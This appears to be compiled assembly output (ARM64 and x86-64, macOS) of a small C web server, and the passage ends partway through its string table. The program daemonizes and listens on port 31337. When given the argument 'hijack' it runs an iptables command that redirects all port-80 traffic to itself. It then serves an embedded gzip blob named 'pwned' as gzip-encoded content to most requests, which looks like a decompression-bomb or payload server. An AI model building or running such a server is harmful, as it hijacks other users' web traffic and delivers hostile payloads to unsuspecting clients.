[sp, #48] ; 8-byte Folded Reload mov x2, x0 ldr w0, [sp, #60] ; 4-byte Folded Reload bl _write ldr w8, [sp, #100] str w8, [sp, #72] ; 4-byte Folded Spill adrp x0, _httphdr@PAGE add x0, x0, _httphdr@PAGEOFF str x0, [sp, #64] ; 8-byte Folded Spill bl _strlen ldr x1, [sp, #64] ; 8-byte Folded Reload mov x2, x0 ldr w0, [sp, #72] ; 4-byte Folded Reload bl _write ldr w0, [sp, #100] adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF mov x2, #2 bl _write ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: bl ___stack_chk_fail LBB1_2: add sp, sp, #1136 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 mov w9, #4272 adrp x16, ___chkstk_darwin@GOTPAGE ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 sub sp, sp, #1, lsl #12 ; =4096 sub sp, sp, #176 adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] str x8, [sp, #88] ; 8-byte Folded Spill adrp x8, __binary_pwned_gz_size@GOTPAGE ldr x8, [x8, __binary_pwned_gz_size@GOTPAGEOFF] mov x9, x8 str w9, [sp, #100] ; 4-byte Folded Spill ; implicit-def: $x8 mov x8, x9 sxtw x8, w8 str x8, [sp, #104] ; 8-byte Folded Spill stur wzr, [x29, #-20] stur w0, [x29, #-24] stur x1, [x29, #-32] ldur w8, [x29, #-24] ; implicit-def: $x10 mov x10, x8 ldur x8, [x29, #-32] ldr x8, [x8, #8] mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf ldur w8, [x29, #-24] subs w8, w8, #1 cset w8, le tbnz w8, #0, LBB2_3 b LBB2_1 LBB2_1: ldur x8, [x29, #-32] ldr x1, [x8, #8] adrp x0, l_.str.7@PAGE add x0, x0, l_.str.7@PAGEOFF mov x2, #7 bl _strncmp subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB2_3 b LBB2_2 LBB2_2: adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf adrp x0, l_.str.9@PAGE add x0, x0, l_.str.9@PAGEOFF bl _system b LBB2_3 LBB2_3: bl _fork subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB2_5 b LBB2_4 LBB2_4: mov w0, #0 bl _exit LBB2_5: bl _setsid mov w0, #1 str w0, [sp, #84] ; 4-byte Folded Spill mov x1, #1 bl _signal ldr w1, [sp, #84] ; 4-byte Folded Reload mov w0, #2 mov w2, #0 bl _socket stur w0, [x29, #-36] subs w8, w0, #0 cset w8, ge tbnz w8, #0, LBB2_7 b LBB2_6 LBB2_6: adrp x0, l_.str.10@PAGE add x0, x0, l_.str.10@PAGEOFF bl _handle_error b LBB2_7 LBB2_7: sub x1, x29, #56 stur xzr, [x29, #-56] stur xzr, [x29, #-48] mov w8, #2 sturb w8, [x29, #-55] stur wzr, [x29, #-52] mov w8, #27002 sturh w8, [x29, #-54] ldur w0, [x29, #-36] mov w2, #16 bl _bind subs w8, w0, #0 cset w8, ge tbnz w8, #0, LBB2_9 b LBB2_8 LBB2_8: adrp x0, l_.str.11@PAGE add x0, x0, l_.str.11@PAGEOFF bl _handle_error b LBB2_9 LBB2_9: ldur w0, [x29, #-36] mov w1, #1024 bl _listen subs w8, w0, #0 cset w8, ge tbnz w8, #0, LBB2_11 b LBB2_10 LBB2_10: adrp x0, l_.str.12@PAGE add x0, x0, l_.str.12@PAGEOFF bl _handle_error b LBB2_11 LBB2_11: ldr x8, [sp, #88] ; 8-byte Folded Reload ldr x0, [x8] adrp x1, l_.str.13@PAGE add x1, x1, l_.str.13@PAGEOFF bl _fprintf mov w0, #20 adrp x1, _reaper@PAGE add x1, x1, _reaper@PAGEOFF bl _signal b LBB2_12 LBB2_12: ; =>This Inner Loop Header: Depth=1 ldur w0, [x29, #-36] mov x2, #0 mov x1, x2 bl _accept stur w0, [x29, #-40] subs w8, w0, #0 cset w8, ge tbnz w8, #0, LBB2_14 b LBB2_13 LBB2_13: ; in Loop: Header=BB2_12 Depth=1 adrp x0, l_.str.14@PAGE add x0, x0, l_.str.14@PAGEOFF bl _handle_error b LBB2_14 LBB2_14: ; in Loop: Header=BB2_12 Depth=1 bl _fork mov w8, #0 subs w8, w8, w0 cset w8, eq tbnz w8, #0, LBB2_16 b LBB2_15 LBB2_15: ; in Loop: Header=BB2_12 Depth=1 ldur w0, [x29, #-40] bl _close ldr x8, [sp, #88] ; 8-byte Folded Reload ldr x0, [x8] adrp x1, l_.str.15@PAGE add x1, x1, l_.str.15@PAGEOFF bl _fprintf b LBB2_12 LBB2_16: ldr x8, [sp, #88] ; 8-byte Folded Reload ldr x0, [x8] adrp x1, l_.str.16@PAGE add x1, x1, l_.str.16@PAGEOFF bl _fprintf b LBB2_17 LBB2_17: str wzr, [sp, #3200] str wzr, [sp, #3196] add x8, sp, #3208 str x8, [sp, #3184] b LBB2_18 LBB2_18: ; =>This Inner Loop Header: Depth=1 ldur w0, [x29, #-40] add x1, sp, #3207 mov x2, #1 bl _read ldr w8, [sp, #3196] subs w8, w8, #1026 cset w8, le tbnz w8, #0, LBB2_20 b LBB2_19 LBB2_19: ldur w8, [x29, #-40] str w8, [sp, #68] ; 4-byte Folded Spill adrp x0, _http400msg@PAGE add x0, x0, _http400msg@PAGEOFF str x0, [sp, #72] ; 8-byte Folded Spill bl _strlen mov x8, x0 ldr w0, [sp, #68] ; 4-byte Folded Reload mov x4, x8 mov w1, #400 adrp x2, l_.str.17@PAGE add x2, x2, l_.str.17@PAGEOFF adrp x3, l_.str.18@PAGE add x3, x3, l_.str.18@PAGEOFF bl _send_http_header ldr x0, [sp, #72] ; 8-byte Folded Reload ldur w8, [x29, #-40] str w8, [sp, #80] ; 4-byte Folded Spill bl _strlen ldr x1, [sp, #72] ; 8-byte Folded Reload mov x2, x0 ldr w0, [sp, #80] ; 4-byte Folded Reload bl _write ldur w0, [x29, #-40] bl _close mov w0, #0 bl _exit LBB2_20: ; in Loop: Header=BB2_18 Depth=1 ldrsb w8, [sp, #3207] subs w8, w8, #13 cset w8, eq tbnz w8, #0, LBB2_22 b LBB2_21 LBB2_21: ; in Loop: Header=BB2_18 Depth=1 ldrsb w8, [sp, #3207] subs w8, w8, #10 cset w8, ne tbnz w8, #0, LBB2_23 b LBB2_22 LBB2_22: ; in Loop: Header=BB2_18 Depth=1 ldr w8, [sp, #3200] add w8, w8, #1 str w8, [sp, #3200] b LBB2_24 LBB2_23: ; in Loop: Header=BB2_18 Depth=1 ldrb w8, [sp, #3207] ldr x9, [sp, #3184] strb w8, [x9] ldr x8, [sp, #3184] add x8, x8, #1 str x8, [sp, #3184] b LBB2_24 LBB2_24: ; in Loop: Header=BB2_18 Depth=1 ldr w8, [sp, #3200] subs w8, w8, #2 cset w8, lt tbnz w8, #0, LBB2_26 b LBB2_25 LBB2_25: ldr x8, [sp, #88] ; 8-byte Folded Reload ldr x0, [x8] adrp x1, l_.str.19@PAGE add x1, x1, l_.str.19@PAGEOFF bl _fprintf ldr x8, [sp, #3184] strb wzr, [x8] b LBB2_27 LBB2_26: ; in Loop: Header=BB2_18 Depth=1 b LBB2_18 LBB2_27: mov x9, sp add x8, sp, #2160 str x8, [sp, #48] ; 8-byte Folded Spill str x8, [x9] add x8, sp, #1136 str x8, [sp, #56] ; 8-byte Folded Spill str x8, [x9, #8] add x8, sp, #112 str x8, [x9, #16] add x0, sp, #3208 adrp x1, l_.str.20@PAGE add x1, x1, l_.str.20@PAGEOFF bl _sscanf ldr x9, [sp, #88] ; 8-byte Folded Reload ldr x10, [sp, #48] ; 8-byte Folded Reload ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x0, [x9] mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x1, l_.str.21@PAGE add x1, x1, l_.str.21@PAGEOFF bl _fprintf str wzr, [sp, #3200] b LBB2_28 LBB2_28: ; =>This Inner Loop Header: Depth=1 ldur w0, [x29, #-40] add x1, sp, #3207 mov x2, #1 bl _read ldrsb w8, [sp, #3207] subs w8, w8, #13 cset w8, eq tbnz w8, #0, LBB2_30 b LBB2_29 LBB2_29: ; in Loop: Header=BB2_28 Depth=1 ldrsb w8, [sp, #3207] subs w8, w8, #10 cset w8, ne tbnz w8, #0, LBB2_31 b LBB2_30 LBB2_30: ; in Loop: Header=BB2_28 Depth=1 ldr w8, [sp, #3200] add w8, w8, #1 str w8, [sp, #3200] b LBB2_32 LBB2_31: ; in Loop: Header=BB2_28 Depth=1 str wzr, [sp, #3200] b LBB2_32 LBB2_32: ; in Loop: Header=BB2_28 Depth=1 ldr w8, [sp, #3200] subs w8, w8, #4 cset w8, lt tbnz w8, #0, LBB2_34 b LBB2_33 LBB2_33: b LBB2_35 LBB2_34: ; in Loop: Header=BB2_28 Depth=1 b LBB2_28 LBB2_35: ldr x8, [sp, #88] ; 8-byte Folded Reload ldr x0, [x8] adrp x1, l_.str.22@PAGE add x1, x1, l_.str.22@PAGEOFF bl _fprintf add x0, sp, #1136 adrp x1, l_.str.23@PAGE add x1, x1, l_.str.23@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB2_37 b LBB2_36 LBB2_36: ldur w8, [x29, #-40] str w8, [sp, #28] ; 4-byte Folded Spill adrp x0, _http404msg@PAGE add x0, x0, _http404msg@PAGEOFF str x0, [sp, #32] ; 8-byte Folded Spill bl _strlen mov x8, x0 ldr w0, [sp, #28] ; 4-byte Folded Reload mov x4, x8 mov w1, #404 adrp x2, l_.str.24@PAGE add x2, x2, l_.str.24@PAGEOFF adrp x3, l_.str.25@PAGE add x3, x3, l_.str.25@PAGEOFF bl _send_http_header ldr x0, [sp, #32] ; 8-byte Folded Reload ldur w8, [x29, #-40] str w8, [sp, #44] ; 4-byte Folded Spill bl _strlen ldr x1, [sp, #32] ; 8-byte Folded Reload mov x2, x0 ldr w0, [sp, #44] ; 4-byte Folded Reload mov w3, #0 bl _send b LBB2_38 LBB2_37: ldr w4, [sp, #100] ; 4-byte Folded Reload ldur w0, [x29, #-40] mov w1, #200 adrp x2, l_.str.26@PAGE add x2, x2, l_.str.26@PAGEOFF adrp x3, l_.str.27@PAGE add x3, x3, l_.str.27@PAGEOFF bl _send_http_header ldr x2, [sp, #104] ; 8-byte Folded Reload ldur w0, [x29, #-40] adrp x1, __binary_pwned_gz_start@GOTPAGE ldr x1, [x1, __binary_pwned_gz_start@GOTPAGEOFF] mov w3, #0 bl _send b LBB2_38 LBB2_38: ldr x8, [sp, #88] ; 8-byte Folded Reload ldr x0, [x8] adrp x1, l_.str.28@PAGE add x1, x1, l_.str.28@PAGEOFF bl _fprintf ldur w0, [x29, #-40] mov w1, #1 bl _shutdown subs w8, w0, #0 cset w8, ge tbnz w8, #0, LBB2_40 b LBB2_39 LBB2_39: adrp x0, l_.str.29@PAGE add x0, x0, l_.str.29@PAGEOFF bl _handle_error b LBB2_41 LBB2_40: ldr x8, [sp, #88] ; 8-byte Folded Reload ldr x0, [x8] adrp x1, l_.str.30@PAGE add x1, x1, l_.str.30@PAGEOFF bl _fprintf b LBB2_41 LBB2_41: ldur w0, [x29, #-40] bl _close subs w8, w0, #0 cset w8, ge tbnz w8, #0, LBB2_43 b LBB2_42 LBB2_42: adrp x0, l_.str.31@PAGE add x0, x0, l_.str.31@PAGEOFF bl _handle_error b LBB2_44 LBB2_43: ldr x8, [sp, #88] ; 8-byte Folded Reload ldr x0, [x8] adrp x1, l_.str.32@PAGE add x1, x1, l_.str.32@PAGEOFF bl _fprintf b LBB2_44 LBB2_44: mov w0, #0 bl _exit .cfi_endproc ; -- End function .globl _reaper ; -- Begin function reaper .p2align 2 _reaper: ; @reaper .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] b LBB3_1 LBB3_1: ; =>This Inner Loop Header: Depth=1 mov w0, #-1 mov x1, #0 mov w2, #1 bl _waitpid subs w8, w0, #0 cset w8, lt tbnz w8, #0, LBB3_3 b LBB3_2 LBB3_2: ; in Loop: Header=BB3_1 Depth=1 b LBB3_1 LBB3_3: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .section __TEXT,__const .globl _httphdr ; @httphdr _httphdr: .asciz "Server: Granelver\r\nContent-Type: text/html; charset=UTF-8\r\n" .globl _http400msg ; @http400msg _http400msg: .asciz "It is your fault." .globl _http404msg ; @http404msg _http404msg: .asciz "Here is Invisible Pink Unicorn." .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "[-] %s\n" l_.str.1: ; @.str.1 .asciz "[-] errno = %d\n" l_.str.2: ; @.str.2 .asciz "HTTP/1.0 %d %s\r\n" l_.str.3: ; @.str.3 .asciz "Content-Length: %d\r\n" l_.str.4: ; @.str.4 .asciz "Content-Encoding: %s\r\n" l_.str.5: ; @.str.5 .asciz "\r\n" l_.str.6: ; @.str.6 .asciz "%d, %s\n" l_.str.7: ; @.str.7 .asciz "hijack" l_.str.8: ; @.str.8 .asciz "Hijack!!\n" l_.str.9: ; @.str.9 .asciz "iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 31337" l_.str.10: ; @.str.10 .asciz "Error creating listening socket." l_.str.11: ; @.str.11 .asciz "Error calling bind()" l_.str.12: ; @.str.12 .asciz "Error calling listen()" l_.str.13: ; @.str.13 .asciz "[+] Successfully initialized web server\n" l_.str.14: ; @.str.14 .asciz "Error calling accept()" l_.str.15: ; @.str.15 .asciz "[+] Parent closed socket\n" l_.str.16: ; @.str.16 .asciz "[+] Child spawned successfully\n" l_.str.17: ; @.str.17 .asciz "Bad Request" l_.str.18: ; @.str.18 .asciz "identity" l_.str.19: ; @.str.19 .asciz "[+] Detect end of HTTP verb and URI\n" l_.str.20: ; @.str.20 .asciz "%s %s %s\n" l_.str.21: ; @.str.21 .asciz "[+] HTTP VERB: %s, HTTP URI: %s\n" l_.str.22: ; @.str.22 .asciz "[+] Detect end of HTTP request. Sending data...\n" l_.str.23: ; @.str.23 .asciz "/favicon.ico" l_.str.24: ; @.str.24 .asciz "Not found" l_.str.25: ; @.str.25 .asciz "identify" l_.str.26: ; @.str.26 .asciz "OK" l_.str.27: ; @.str.27 .asciz "gzip" l_.str.28: ; @.str.28 .asciz "[+] Data sent!\n" l_.str.29: ; @.str.29 .asciz "Error calling shutdown()" l_.str.30: ; @.str.30 .asciz "[+] socket shutted down\n" l_.str.31: ; @.str.31 .asciz "Error calling close()" l_.str.32: ; @.str.32 .asciz "[+] Socket closed\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _handle_error ## -- Begin function handle_error .p2align 4, 0x90 _handle_error: ## @handle_error .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq ___stderrp@GOTPCREL(%rip), %rax movq %rax, -32(%rbp) ## 8-byte Spill movq (%rax), %rdi movq -8(%rbp), %rdx leaq L_.str(%rip), %rsi xorl %eax, %eax ## kill: def $al killed $al killed $eax movb %al, -9(%rbp) ## 1-byte Spill callq _fprintf ## kill: def $ecx killed $eax movq -32(%rbp), %rax ## 8-byte Reload movq (%rax), %rax movq %rax, -24(%rbp) ## 8-byte Spill callq ___error movq -24(%rbp), %rdi ## 8-byte Reload movq %rax, %rcx movb -9(%rbp), %al ## 1-byte Reload movl (%rcx), %edx leaq L_.str.1(%rip), %rsi callq _fprintf movl $1, %edi callq _exit .cfi_endproc ## -- End function .globl _send_http_header ## -- Begin function send_http_header .p2align 4, 0x90 _send_http_header: ## @send_http_header .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $1136, %rsp ## imm = 0x470 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl %edi, -1044(%rbp) movl %esi, -1048(%rbp) movq %rdx, -1056(%rbp) movq %rcx, -1064(%rbp) movl %r8d, -1068(%rbp) leaq -1040(%rbp), %rdi movl -1048(%rbp), %r9d movq -1056(%rbp), %rax movl $1024, %ecx ## imm = 0x400 xorl %edx, %edx leaq L_.str.2(%rip), %r8 movq %rcx, %rsi movq %rax, (%rsp) movb $0, %al callq ___snprintf_chk movl -1044(%rbp), %eax movl %eax, -1116(%rbp) ## 4-byte Spill leaq -1040(%rbp), %rax movq %rax, -1112(%rbp) ## 8-byte Spill leaq -1040(%rbp), %rdi callq _strlen movl -1116(%rbp), %edi ## 4-byte Reload movq -1112(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx callq _write leaq -1040(%rbp), %rdi movl -1068(%rbp), %r9d movl $1024, %ecx ## imm = 0x400 xorl %edx, %edx leaq L_.str.3(%rip), %r8 movq %rcx, %rsi movb $0, %al callq ___snprintf_chk movl -1044(%rbp), %eax movl %eax, -1100(%rbp) ## 4-byte Spill leaq -1040(%rbp), %rax movq %rax, -1096(%rbp) ## 8-byte Spill leaq -1040(%rbp), %rdi callq _strlen movl -1100(%rbp), %edi ## 4-byte Reload movq -1096(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx callq _write leaq -1040(%rbp), %rdi movq -1064(%rbp), %r9 movl $1024, %ecx ## imm = 0x400 xorl %edx, %edx leaq L_.str.4(%rip), %r8 movq %rcx, %rsi movb $0, %al callq ___snprintf_chk movl -1044(%rbp), %eax movl %eax, -1084(%rbp) ## 4-byte Spill leaq -1040(%rbp), %rax movq %rax, -1080(%rbp) ## 8-byte Spill leaq -1040(%rbp), %rdi callq _strlen movl -1084(%rbp), %edi ## 4-byte Reload movq -1080(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx callq _write movl -1044(%rbp), %eax movl %eax, -1072(%rbp) ## 4-byte Spill leaq _httphdr(%rip), %rdi callq _strlen movl -1072(%rbp), %edi ## 4-byte Reload movq %rax, %rdx leaq _httphdr(%rip), %rsi callq _write movl -1044(%rbp), %edi leaq L_.str.5(%rip), %rsi movl $2, %edx callq _write movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB1_2 ## %bb.1: addq $1136, %rsp ## imm = 0x470 popq %rbp retq LBB1_2: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $4208, %eax ## imm = 0x1070 callq ____chkstk_darwin subq %rax, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) movl -8(%rbp), %esi movq -16(%rbp), %rax movq 8(%rax), %rdx leaq L_.str.6(%rip), %rdi movb $0, %al callq _printf cmpl $1, -8(%rbp) jle LBB2_3 ## %bb.1: movq -16(%rbp), %rax movq 8(%rax), %rsi leaq L_.str.7(%rip), %rdi movl $7, %edx callq _strncmp cmpl $0, %eax jne LBB2_3 ## %bb.2: leaq L_.str.8(%rip), %rdi movb $0, %al callq _printf leaq L_.str.9(%rip), %rdi callq _system LBB2_3: callq _fork cmpl $0, %eax je LBB2_5 ## %bb.4: xorl %edi, %edi callq _exit LBB2_5: callq _setsid movl $1, %edi movl $1, %esi callq _signal movl $2, %edi movl $1, %esi xorl %edx, %edx callq _socket movl %eax, -20(%rbp) cmpl $0, %eax jge LBB2_7 ## %bb.6: leaq L_.str.10(%rip), %rdi callq _handle_error LBB2_7: leaq -40(%rbp), %rdi xorl %esi, %esi movl $16, %edx callq _memset movb $2, -39(%rbp) movl $0, -36(%rbp) movw $27002, -38(%rbp) ## imm = 0x697A movl -20(%rbp), %edi leaq -40(%rbp), %rsi movl $16, %edx callq _bind cmpl $0, %eax jge LBB2_9 ## %bb.8: leaq L_.str.11(%rip), %rdi callq _handle_error LBB2_9: movl -20(%rbp), %edi movl $1024, %esi ## imm = 0x400 callq _listen cmpl $0, %eax jge LBB2_11 ## %bb.10: leaq L_.str.12(%rip), %rdi callq _handle_error LBB2_11: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq L_.str.13(%rip), %rsi movb $0, %al callq _fprintf movl $20, %edi leaq _reaper(%rip), %rsi callq _signal LBB2_12: ## =>This Inner Loop Header: Depth=1 movl -20(%rbp), %edi xorl %eax, %eax movl %eax, %edx movq %rdx, %rsi callq _accept movl %eax, -24(%rbp) cmpl $0, %eax jge LBB2_14 ## %bb.13: ## in Loop: Header=BB2_12 Depth=1 leaq L_.str.14(%rip), %rdi callq _handle_error LBB2_14: ## in Loop: Header=BB2_12 Depth=1 callq _fork movl %eax, %ecx xorl %eax, %eax cmpl %ecx, %eax je LBB2_16 ## %bb.15: ## in Loop: Header=BB2_12 Depth=1 movl -24(%rbp), %edi callq _close movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq L_.str.15(%rip), %rsi movb $0, %al callq _fprintf jmp LBB2_12 LBB2_16: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq L_.str.16(%rip), %rsi movb $0, %al callq _fprintf ## %bb.17: movl $0, -1080(%rbp) movl $0, -1084(%rbp) leaq -1072(%rbp), %rax movq %rax, -1096(%rbp) LBB2_18: ## =>This Inner Loop Header: Depth=1 movl -24(%rbp), %edi leaq -1073(%rbp), %rsi movl $1, %edx callq _read cmpl $1026, -1084(%rbp) ## imm = 0x402 jle LBB2_20 ## %bb.19: movl -24(%rbp), %eax movl %eax, -4192(%rbp) ## 4-byte Spill leaq _http400msg(%rip), %rdi movq %rdi, -4184(%rbp) ## 8-byte Spill callq _strlen movl -4192(%rbp), %edi ## 4-byte Reload movl %eax, %r8d leaq L_.str.17(%rip), %rdx leaq L_.str.18(%rip), %rcx movl $400, %esi ## imm = 0x190 callq _send_http_header movq -4184(%rbp), %rdi ## 8-byte Reload movl -24(%rbp), %eax movl %eax, -4188(%rbp) ## 4-byte Spill callq _strlen movl -4188(%rbp), %edi ## 4-byte Reload movq -4184(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx callq _write movl -24(%rbp), %edi callq _close xorl %edi, %edi callq _exit LBB2_20: ## in Loop: Header=BB2_18 Depth=1 movsbl -1073(%rbp), %eax cmpl $13, %eax je LBB2_22 ## %bb.21: ## in Loop: Header=BB2_18 Depth=1 movsbl -1073(%rbp), %eax cmpl $10, %eax jne LBB2_23 LBB2_22: ## in Loop: Header=BB2_18 Depth=1 movl -1080(%rbp), %eax addl $1, %eax movl %eax, -1080(%rbp) jmp LBB2_24 LBB2_23: ## in Loop: Header=BB2_18 Depth=1 movb -1073(%rbp), %cl movq -1096(%rbp), %rax movb %cl, (%rax) movq -1096(%rbp), %rax addq $1, %rax movq %rax, -1096(%rbp) LBB2_24: ## in Loop: Header=BB2_18 Depth=1 cmpl $2, -1080(%rbp) jl LBB2_26 ## %bb.25: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq L_.str.19(%rip), %rsi movb $0, %al callq _fprintf movq -1096(%rbp), %rax movb $0, (%rax) jmp LBB2_27 LBB2_26: ## in Loop: Header=BB2_18 Depth=1 jmp LBB2_18 LBB2_27: leaq -1072(%rbp), %rdi leaq -2128(%rbp), %rdx leaq -3152(%rbp), %rcx leaq -4176(%rbp), %r8 leaq L_.str.20(%rip), %rsi movb $0, %al callq _sscanf movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq -2128(%rbp), %rdx leaq -3152(%rbp), %rcx leaq L_.str.21(%rip), %rsi movb $0, %al callq _fprintf movl $0, -1080(%rbp) LBB2_28: ## =>This Inner Loop Header: Depth=1 movl -24(%rbp), %edi leaq -1073(%rbp), %rsi movl $1, %edx callq _read movsbl -1073(%rbp), %eax cmpl $13, %eax je LBB2_30 ## %bb.29: ## in Loop: Header=BB2_28 Depth=1 movsbl -1073(%rbp), %eax cmpl $10, %eax jne LBB2_31 LBB2_30: ## in Loop: Header=BB2_28 Depth=1 movl -1080(%rbp), %eax addl $1, %eax movl %eax, -1080(%rbp) jmp LBB2_32 LBB2_31: ## in Loop: Header=BB2_28 Depth=1 movl $0, -1080(%rbp) LBB2_32: ## in Loop: Header=BB2_28 Depth=1 cmpl $4, -1080(%rbp) jl LBB2_34 ## %bb.33: jmp LBB2_35 LBB2_34: ## in Loop: Header=BB2_28 Depth=1 jmp LBB2_28 LBB2_35: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq L_.str.22(%rip), %rsi movb $0, %al callq _fprintf leaq -3152(%rbp), %rdi leaq L_.str.23(%rip), %rsi callq _strcmp cmpl $0, %eax jne LBB2_37 ## %bb.36: movl -24(%rbp), %eax movl %eax, -4200(%rbp) ## 4-byte Spill leaq _http404msg(%rip), %rdi callq _strlen movl -4200(%rbp), %edi ## 4-byte Reload movl %eax, %r8d movl $404, %esi ## imm = 0x194 leaq L_.str.24(%rip), %rdx leaq L_.str.25(%rip), %rcx callq _send_http_header movl -24(%rbp), %eax movl %eax, -4196(%rbp) ## 4-byte Spill leaq _http404msg(%rip), %rdi callq _strlen movl -4196(%rbp), %edi ## 4-byte Reload movq %rax, %rdx leaq _http404msg(%rip), %rsi xorl %ecx, %ecx callq _send jmp LBB2_38 LBB2_37: movl -24(%rbp), %edi movl $200, %esi leaq L_.str.26(%rip), %rdx leaq L_.str.27(%rip), %rcx movq __binary_pwned_gz_size@GOTPCREL(%rip), %rax movl %eax, %r8d callq _send_http_header movl -24(%rbp), %edi movq __binary_pwned_gz_start@GOTPCREL(%rip), %rsi movq __binary_pwned_gz_size@GOTPCREL(%rip), %rax ## kill: def $eax killed $eax killed $rax movslq %eax, %rdx xorl %ecx, %ecx callq _send LBB2_38: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq L_.str.28(%rip), %rsi movb $0, %al callq _fprintf movl -24(%rbp), %edi movl $1, %esi callq _shutdown cmpl $0, %eax jge LBB2_40 ## %bb.39: leaq L_.str.29(%rip), %rdi callq _handle_error jmp LBB2_41 LBB2_40: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq L_.str.30(%rip), %rsi movb $0, %al callq _fprintf LBB2_41: movl -24(%rbp), %edi callq _close cmpl $0, %eax jge LBB2_43 ## %bb.42: leaq L_.str.31(%rip), %rdi callq _handle_error jmp LBB2_44 LBB2_43: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi leaq L_.str.32(%rip), %rsi movb $0, %al callq _fprintf LBB2_44: xorl %edi, %edi callq _exit .cfi_endproc ## -- End function .globl _reaper ## -- Begin function reaper .p2align 4, 0x90 _reaper: ## @reaper .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -4(%rbp) LBB3_1: ## =>This Inner Loop Header: Depth=1 movl $4294967295, %edi ## imm = 0xFFFFFFFF xorl %eax, %eax movl %eax, %esi movl $1, %edx callq _waitpid cmpl $0, %eax jl LBB3_3 ## %bb.2: ## in Loop: Header=BB3_1 Depth=1 jmp LBB3_1 LBB3_3: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__const .globl _httphdr ## @httphdr .p2align 4 _httphdr: .asciz "Server: Granelver\r\nContent-Type: text/html; charset=UTF-8\r\n" .globl _http400msg ## @http400msg .p2align 4 _http400msg: .asciz "It is your fault." .globl _http404msg ## @http404msg .p2align 4 _http404msg: .asciz "Here is Invisible Pink Unicorn." .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "[-] %s\n" L_.str.1: ## @.str.1 .asciz "[-] errno = %d\n" L_.str.2: ## @.str.2 .asciz "HTTP/1.0 %d %s\r\n" L_.str.3: ## @.str.3 .asciz "Content-Length: %d\r\n" L_.str.4: ## @.str.4 .asciz "Content-Encoding: %s\r\n" L_.str.5: ## @.str.5 .asciz "\r\n" L_.str.6: ## @.str.6 .asciz "%d, %s\n" L_.str.7: ## @.str.7 .asciz "hijack" L_.str.8: ## @.str.8 .asciz "Hijack!!\n" L_.str.9: ## @.str.9 .asciz "iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 31337" L_.str.10: ## @.str.10 .asciz "Error creating listening socket." L_.str.11: ## @.str.11 .asciz "Error calling bind()" L_.str.12: ## @.str.12 .asciz "Error calling listen()" L_.str.13: ## @.str.13 .asciz "[+] Successfully initialized web server\n" L_.str.14: ## @.str.14 .asciz "Error calling accept()" 